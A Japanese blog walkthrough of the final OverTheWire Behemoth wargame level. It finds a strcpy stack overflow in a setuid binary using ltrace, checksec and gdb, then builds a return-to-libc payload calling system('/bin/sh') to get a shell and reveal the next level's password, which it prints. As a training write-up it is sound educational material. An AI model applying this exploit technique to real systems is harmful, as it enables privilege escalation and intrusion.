OverTheWire:Behemoth7
Behemoth もいよいよ最後の問題。次のレベル ( Behemoth8 )のパスワードを入手すれば全問クリアである。今回も気合を入れて解いてゆこう。
前回の記事で入手したパスワードを使用して問題のサーバーに接続する。
ssh behemoth7@behemoth.labs.overthewire.org -p 2221
今回、解析するプログラムは behemoth7 である。
ehemoth7@behemoth:~$ ls -l /behemoth/behemoth7
-r-sr-x--- 1 behemoth8 behemoth7 5676 Aug 26 2019 /behemoth/behemoth7
とりあえず実行してみる。
behemoth7@behemoth:~$ /behemoth/behemoth7
behemoth7@behemoth:~$
ありゃ?何も起きない。
トレースしてみよう。引数も適当に指定して様子を見てみる。
behemoth7@behemoth:~$ ltrace /behemoth/behemoth7 ABCDE
__libc_start_main(0x804852b, 2, 0xffffd774, 0x8048650 <unfinished ...>
strlen("LC_ALL=en_US.UTF-8") = 18
memset(0xffffd8b0, '\0', 18) = 0xffffd8b0
strlen("LS_COLORS=rs=0:di=01;34:ln=01;36"...) = 1467
memset(0xffffd8c3, '\0', 1467) = 0xffffd8c3
strlen("SSH_CONNECTION=60.100.205.81 491"...) = 52
memset(0xffffde7f, '\0', 52) = 0xffffde7f
strlen("LANG=en_US.UTF-8") = 16
memset(0xffffdeb4, '\0', 16) = 0xffffdeb4
strlen("USER=behemoth7") = 14
memset(0xffffdec5, '\0', 14) = 0xffffdec5
strlen("PWD=/home/behemoth7") = 19
memset(0xffffded4, '\0', 19) = 0xffffded4
strlen("HOME=/home/behemoth7") = 20
memset(0xffffdee8, '\0', 20) = 0xffffdee8
strlen("SSH_CLIENT=60.100.205.81 49166 2"...) = 33
memset(0xffffdefd, '\0', 33) = 0xffffdefd
strlen("SSH_TTY=/dev/pts/4") = 18
memset(0xffffdf1f, '\0', 18) = 0xffffdf1f
strlen("MAIL=/var/mail/behemoth7") = 24
memset(0xffffdf32, '\0', 24) = 0xffffdf32
strlen("TERM=xterm-256color") = 19
memset(0xffffdf4b, '\0', 19) = 0xffffdf4b
strlen("SHELL=/bin/bash") = 15
memset(0xffffdf5f, '\0', 15) = 0xffffdf5f
strlen("TMOUT=1800") = 10
memset(0xffffdf6f, '\0', 10) = 0xffffdf6f
strlen("SHLVL=1") = 7
memset(0xffffdf7a, '\0', 7) = 0xffffdf7a
strlen("LOGNAME=behemoth7") = 17
memset(0xffffdf82, '\0', 17) = 0xffffdf82
strlen("PATH=/usr/local/bin:/usr/bin:/bi"...) = 61
memset(0xffffdf94, '\0', 61) = 0xffffdf94
strlen("_=/usr/bin/ltrace") = 17
memset(0xffffdfd2, '\0', 17) = 0xffffdfd2
__ctype_b_loc() = 0xf7e106cc
__ctype_b_loc() = 0xf7e106cc
__ctype_b_loc() = 0xf7e106cc
__ctype_b_loc() = 0xf7e106cc
__ctype_b_loc() = 0xf7e106cc
strcpy(0xffffd4cc, "ABCDE") = 0xffffd4cc
+++ exited (status 0) +++
実行時の引数を strcpy() でバッファにコピーしているので、バッファオーバーフローの脆弱性がありそうだ。
バッファは実行可能だろうか?
behemoth7@behemoth:~$ checksec.sh --file /behemoth/behemoth7
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /behemoth/behemoth7
"NX disabled" なのでバッファは実行可能。
ならば、引数にシェルコードは指定できるだろうか?引数に マシン語の NOP (何もしない命令:0x90)を指定してみる。
behemoth7@behemoth:~$ /behemoth/behemoth7 $(echo -e "\x90")
Non-alpha chars found in string, possible shellcode!
引数が英文字かどうかをチェックしているらしい。
なので、引数にシェルコードを注入してスタック上で実行することは難しそうだ。
デバッガを使用して、もう少しこのプログラムを調べてみよう。
behemoth7@behemoth:~$ gdb -q /behemoth/behemoth7
Reading symbols from /behemoth/behemoth7...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start AAAAAAAAA
Temporary breakpoint 1 at 0x8048534
Starting program: /behemoth/behemoth7 AAAAAAAAA
Temporary breakpoint 1, 0x08048534 in main ()
(gdb) disas
Dump of assembler code for function main:
0x0804852b <+0>: push ebp
0x0804852c <+1>: mov ebp,esp
0x0804852e <+3>: sub esp,0x20c
=> 0x08048534 <+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048537 <+12>: mov eax,DWORD PTR [eax+0x4]
0x0804853a <+15>: mov DWORD PTR [ebp-0x4],eax
0x0804853d <+18>: mov DWORD PTR [ebp-0x8],0x0
0x08048544 <+25>: jmp 0x8048583 <main+88>
0x08048546 <+27>: mov eax,DWORD PTR [ebp-0x8]
0x08048549 <+30>: lea edx,[eax*4+0x0]
0x08048550 <+37>: mov eax,DWORD PTR [ebp+0x10]
0x08048553 <+40>: add eax,edx
0x08048555 <+42>: mov eax,DWORD PTR [eax]
0x08048557 <+44>: push eax
0x08048558 <+45>: call 0x80483d0 <strlen@plt>
0x0804855d <+50>: add esp,0x4
0x08048560 <+53>: mov edx,eax
0x08048562 <+55>: mov eax,DWORD PTR [ebp-0x8]
0x08048565 <+58>: lea ecx,[eax*4+0x0]
0x0804856c <+65>: mov eax,DWORD PTR [ebp+0x10]
0x0804856f <+68>: add eax,ecx
0x08048571 <+70>: mov eax,DWORD PTR [eax]
---Type <return> to continue, or q <return> to quit---
0x08048573 <+72>: push edx
0x08048574 <+73>: push 0x0
0x08048576 <+75>: push eax
0x08048577 <+76>: call 0x8048400 <memset@plt>
0x0804857c <+81>: add esp,0xc
0x0804857f <+84>: add DWORD PTR [ebp-0x8],0x1
0x08048583 <+88>: mov eax,DWORD PTR [ebp-0x8]
0x08048586 <+91>: lea edx,[eax*4+0x0]
0x0804858d <+98>: mov eax,DWORD PTR [ebp+0x10]
0x08048590 <+101>: add eax,edx
0x08048592 <+103>: mov eax,DWORD PTR [eax]
0x08048594 <+105>: test eax,eax
0x08048596 <+107>: jne 0x8048546 <main+27>
0x08048598 <+109>: mov DWORD PTR [ebp-0xc],0x0
0x0804859f <+116>: cmp DWORD PTR [ebp+0x8],0x1
0x080485a3 <+120>: jle 0x8048643 <main+280>
0x080485a9 <+126>: jmp 0x8048618 <main+237>
0x080485ab <+128>: add DWORD PTR [ebp-0xc],0x1
0x080485af <+132>: call 0x8048410 <__ctype_b_loc@plt>
0x080485b4 <+137>: mov edx,DWORD PTR [eax]
0x080485b6 <+139>: mov eax,DWORD PTR [ebp-0x4]
0x080485b9 <+142>: movzx eax,BYTE PTR [eax]
0x080485bc <+145>: movsx eax,al
---Type <return> to continue, or q <return> to quit---
0x080485bf <+148>: add eax,eax
0x080485c1 <+150>: add eax,edx
0x080485c3 <+152>: movzx eax,WORD PTR [eax]
0x080485c6 <+155>: movzx eax,ax
0x080485c9 <+158>: and eax,0x400
0x080485ce <+163>: test eax,eax
0x080485d0 <+165>: jne 0x8048614 <main+233>
0x080485d2 <+167>: call 0x8048410 <__ctype_b_loc@plt>
0x080485d7 <+172>: mov edx,DWORD PTR [eax]
0x080485d9 <+174>: mov eax,DWORD PTR [ebp-0x4]
0x080485dc <+177>: movzx eax,BYTE PTR [eax]
0x080485df <+180>: movsx eax,al
0x080485e2 <+183>: add eax,eax
0x080485e4 <+185>: add eax,edx
0x080485e6 <+187>: movzx eax,WORD PTR [eax]
0x080485e9 <+190>: movzx eax,ax
0x080485ec <+193>: and eax,0x800
0x080485f1 <+198>: test eax,eax
0x080485f3 <+200>: jne 0x8048614 <main+233>
0x080485f5 <+202>: mov eax,ds:0x8049940
0x080485fa <+207>: push 0x80486d0
0x080485ff <+212>: push 0x80486d8
0x08048604 <+217>: push eax
---Type <return> to continue, or q <return> to quit---
0x08048605 <+218>: call 0x80483f0 <fprintf@plt>
0x0804860a <+223>: add esp,0xc
0x0804860d <+226>: push 0x1
0x0804860f <+228>: call 0x80483c0 <exit@plt>
0x08048614 <+233>: add DWORD PTR [ebp-0x4],0x1
0x08048618 <+237>: mov eax,DWORD PTR [ebp-0x4]
0x0804861b <+240>: movzx eax,BYTE PTR [eax]
0x0804861e <+243>: test al,al
0x08048620 <+245>: je 0x804862b <main+256>
0x08048622 <+247>: cmp DWORD PTR [ebp-0xc],0x1ff
0x08048629 <+254>: jle 0x80485ab <main+128>
0x0804862b <+256>: mov eax,DWORD PTR [ebp+0xc]
0x0804862e <+259>: add eax,0x4
0x08048631 <+262>: mov eax,DWORD PTR [eax]
0x08048633 <+264>: push eax
0x08048634 <+265>: lea eax,[ebp-0x20c]
0x0804863a <+271>: push eax
0x0804863b <+272>: call 0x80483b0 <strcpy@plt>
0x08048640 <+277>: add esp,0x8
0x08048643 <+280>: mov eax,0x0
0x08048648 <+285>: leave
0x08048649 <+286>: ret
End of assembler dump.
(gdb)
strcpy() を呼び出している箇所に注目する。
0x08048634 <+265>: lea eax,[ebp-0x20c]
0x0804863a <+271>: push eax
0x0804863b <+272>: call 0x80483b0 <strcpy@plt>
コピー用に渡されているバッファのアドレスが ebp - 0x20c となっているので、0x20c バイト(524バイト)以上のデータをこのプログラムに渡すことでバッファオーバーフローが起きることになる。
試してみよう。
(gdb) start $(perl -e 'print "A"x528 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0x8048534
Starting program: /behemoth/behemoth7 $(perl -e 'print "A"x528 . "BBBB"')
Temporary breakpoint 2, 0x08048534 in main ()
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
想定通り、"BBBB" ( 0x42424242 )のアドレスにジャンプしようとして、エラー終了した。
strcpy() に渡されているバッファのサイズは最大でも 524バイトなのだから、プログラム中で行われている「シェルコードかどうか?」のチェックも524バイト以後はチェックしていないのかもしれない。
試してみよう。 "A" x 528バイト+ NOP (0x90)を入力してみる。
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x528 . "\x90"')
Segmentation fault
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x527 . "\x90"')
Segmentation fault
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x526 . "\x90"')
behemoth7@behemoth:~$
少なくとも、526バイト目以後はチェックされていないようだ。
これで、"A"x528文字 + 「ジャンプ先のアドレス(4バイト)」というデータを渡すことで、このプログラムの実行を制御できることが判った。
問題はこの脆弱性を利用して「どうやってシェルを起動するか?」である。
環境変数は全てクリアされるため、環境変数にシェルコードを入れて実行するわけにはいかない。また、スタックも最初の 526バイト目ぐらいまではマシン語を入力できない。
少し考えて、以下の方針で攻略することにした。
<攻略方針>
1)バッファオーバーフローを利用してプログラムの制御を奪い、system関
数のアドレスにジャンプさせる。
2) system関数を使って、シェル(/bin/sh )を起動する。
system関数にプログラムがジャンプした時は、あたかも call を使ってジャンプしたような形にスタックを整えておく必要がある。
<system関数にジャンプした直後のスタックの配置>
1 . [ system関数のアドレス ]
2 . [ system関数のリターンアドレス ]
3 . [ system関数への引数 ( 文字列 "/bin/sh" へのポインタ) ]
つまり、プログラムに渡すデータは "A" x 528文字 に続けて、上記の 1, 2, 3 を書けば良いわけだ。
また、シェルさえ起動できれば良いので、system関数のリターンアドレスはダミーでよい。シェルから抜けた時にエラー終了するが気にしない。
ところで、上記3 の "/bin/sh" の文字列はどうすれば良いだろうか?
libc には 文字列 "/bin/sh" が含まれてるので、これを使うことにしよう。
まずは、実行時にロードされるライブラリのアドレスと、ファイルのパスを確認する。これは ldd コマンドで簡単に判る。
behemoth7@behemoth:~$ ldd /behemoth/behemoth7
linux-gate.so.1 (0xf7fd7000)
libc.so.6 => /lib32/libc.so.6 (0xf7e12000)
/lib/ld-linux.so.2 (0xf7fd9000)
behemoth7@behemoth:~$
ライブラリ(libc)のパスは /lib32/libc.so.6 アドレスは 0xf7e12000 であることが判った。
次に "/bin/sh" という文字列が このライブラリの何バイト目にあるかを調べる。これも strings コマンドで簡単に判る。
behemoth7@behemoth:~$ strings -atx /lib32/libc.so.6 | grep "/bin/sh"
15ccc8 /bin/sh
behemoth7@behemoth:~$
文字列 "/bin/sh" は libc の 0x15ccc8 バイト目にあることが判った。
"/bin/sh"の実行時のアドレスは 0x15ccc8 + 0xf7e12000 = 0xf7f6ecc8 になることがこれで判明した。
最後に system関数のアドレスを調べる。
これはデバッガで確認することができる。
behemoth7@behemoth:~$ gdb -q /behemoth/behemoth7
Reading symbols from /behemoth/behemoth7...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048534
Starting program: /behemoth/behemoth7
Temporary breakpoint 1, 0x08048534 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c850 <system>
(gdb) quit
system関数のアドレスは 0xf7e4c850 であることが判った。
これで必要な情報が全て揃った。
文字列 "/bin/sh"のアドレスは 0xf7f6ecc8 だったから、下記のコマンドで攻撃すればシェルを起動できることになる。
<攻撃用コマンド>
/behemoth/behemoth7 $(perl -e 'print "A"x528 . "\x50\xc8\xe4\xf7" . "BBBB" . "\xc8\xec\xf6\xf7"')
実際に試してみよう。
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "A"x528 . "\x50\xc8\xe4\xf7" . "BBBB" . "\xc8\xec\xf6\xf7"')
$ id
uid=13007(behemoth7) gid=13007(behemoth7) euid=13008(behemoth8) groups=13007(behemoth7)
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae
$
想定通りに動作して、シェルが起動した。権限は behemoth8 になっている。
次レベルのパスワードを表示して終了である。
レベル8 は このゲーム ″Behemoth” のゴールである。
どんなメッセージが表示されるのだろうか、上記のパスワードでログインしてみる。
ssh behemoth8@behemoth.labs.overthewire.org -p 2221
ehemoth8@behemoth:~$ ls
CONGRATULATIONS
behemoth8@behemoth:~$ cat CONGRATULATIONS
Congratz!!
Now fight for your right to eip=0x41414141!!
なかなか面白いメッセージだ。
これで "Behemoth" はクリア!
今日はこれでおしまい!
この記事が気に入ったらサポートをしてみませんか?